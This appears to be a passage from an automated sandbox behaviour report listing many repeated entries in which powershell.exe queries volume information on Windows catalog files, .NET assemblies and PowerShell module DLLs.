Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
